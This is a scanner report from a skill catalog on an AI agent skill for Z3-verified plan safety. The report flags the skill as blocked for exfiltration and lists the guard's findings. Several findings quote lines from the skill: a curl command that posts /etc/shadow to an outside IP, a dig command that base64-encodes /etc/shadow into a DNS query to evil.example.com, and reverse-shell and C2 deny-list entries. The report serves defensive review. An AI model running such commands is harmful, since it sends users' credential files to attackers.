SKILLEMALL.ai

FC greenhelix-formal-gatekeeper

The Formal Gatekeeper: Z3-Verified Safety for Autonomous Agent Plans. Build a formal verification proxy for OpenClaw agents: Z3 SMT solver integration, safety invariant engines, plan-to-logic translation, proof caching, and x402 payment hooks. Includes detailed Python code examples for system, economic, and network safety proofs.

Blockedguard blocked the skill: signs of malicious behaviour
ClawHub Agent Skills author: mirni v1.3.1 MIT-0 2 files body ≈ 27 966 tokens Open the sourceclawhub.ai analyzed 3 d ago

As a process C 50/100 · Has gaps — weak spots: result and completion, when it triggers, inputs and preconditions

IntegrationAI and agentsSoftware developmentInfrastructuretype and topics are labelled automatically from the skill text
JSON
Technical rating
F
28/100
safety, quality, tests
Safety 60%
10
Quality 40%
56
Run on models
none yet
Process rating
C
50/100
Has gaps
Result and completion w 14
0
Inputs and preconditions w 11
0
Execution cost w 6
10
the three weakest of ten parameters · all ten
Guard blocked this skill: critical findings below. Do not install it until the author fixes them.

What is at stake

The skill contains fragments that, in the wrong hands, cost money or data. Below: what the installer risks and what the author should do.

Exfiltration
If you install

The instructions or scripts send data out: environment variables, keys, file contents, chat history. You may never notice, because the agent performs the upload as "part of the task".

For the author

If the upload is not needed for the task, remove it: catalogs flag such skills and delist them. If it is needed, name the destination explicitly, say what leaves the machine, and give the user a switch.

How to improve

  1. Remove the critical guard findings (secrets, dangerous commands, hidden instructions): while they stand the skill is blocked and cannot grade above F.
  2. Say in the description WHEN to use the skill ("use when…", example requests): that is the agent's main cue.
  3. The SKILL.md body is over 5,000 tokens: move reference detail into references/ and load it when needed.
For the model run — optional
  • Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
  • A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.

Guard findings · 5

  • critical Exfiltration exfil-post-credential-file SKILL.md:2655
    Uploads a credential/secret file to a remote endpoint
    curl 203.0.113.50 -d @/etc/shadow
Medium and low: 4
  • low Risky intent intent-offensive-security SKILL.md:739
    Offensive-security / dual-use content (legitimate for authorised testing; review intended use) (detector / deny-list definition)
    # Blocked: arbitrary external IP (potential C2 server)
    detector
  • low Exfiltration exfil-read-secret-files SKILL.md:2640
    Reads credential / secret files (security demo / example; quoted — discussed, not commanded)
    "plan": "```bash\ndig $(cat /etc/shadow | base64).evil.example.com\n```",
    demoquoted
  • low Risky intent intent-offensive-security SKILL.md:2644
    Offensive-security / dual-use content (legitimate for authorised testing; review intended use)
    # 9. Reverse shell
  • low Risky intent intent-offensive-security SKILL.md:2649
    Offensive-security / dual-use content (legitimate for authorised testing; review intended use) (detector / deny-list definition)
    "description": "Reverse shell to C2 server on non-standard port",
    detector

Files scanned: 2. Evidence is masked. Grey chips explain why severity was lowered.

Against the Agent Skills spec

  • warning description-no-when description does not say WHEN to use the skill (no "use when")
  • warning body-long SKILL.md body ≈ 27966 tokens (recommended < 5000); move details to references/
  • note frontmatter-key unknown frontmatter key "type"
  • note frontmatter-key unknown frontmatter key "price_usd"
  • note frontmatter-key unknown frontmatter key "content_type"
  • note frontmatter-key unknown frontmatter key "executable"
  • note frontmatter-key unknown frontmatter key "install"
  • note frontmatter-key unknown frontmatter key "credentials"

Process rating: all ten parameters 50/100

  • 0Result and completion. Does not say what the result is
  • 0Inputs and preconditions. Does not say what the process needs to start
  • 10Execution cost. Instruction body is 27966 tokens: crowds the task out of the window
  • 20When it triggers. No condition that starts the skill
  • 30Running it twice. 33 mutating operations with no state check
  • 60Tools and files. Uses tools (bash, web, git, python) that frontmatter does not declare
  • 100Steps. 75 steps
  • 100Failures and branches. 5 branches, has a failure section
  • 100Consistency. Name and required fields are in place
  • 100Progress reporting. Reports progress
  • medium Safety rules and hard prohibitions inside a skill: they belong in the system prompt, here they protect nothing
  • low 14 top-level sections: this looks like several domains in one skill

Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.

Quality signals

  • +5Description has no quoted example phrases that should trigger the skill
  • +4Description does not say when NOT to use the skill (false activations)
  • +3Output format is not stated: the model decides each time
  • -4Absolute local paths (C:\Users, /home/…): not portable
  • +2Single-language instructions
  • +3Description length 331: enough signal without eating the budget
  • +4Structure: 56 headings
  • +3Step-by-step instructions: 75 items
  • +4Has examples (50 code blocks)
  • +1License stated

Quality base 70; lint remarks subtract, signals add up to 100. Result: 56.

External checks

ClawHub: clean
This is a non-executable educational guide for building a formal verification gatekeeper, with sensitive payment and signing concepts disclosed but not installed or run by the skill itself.
LLM: benign (high) · VirusTotal: · 29 May 2026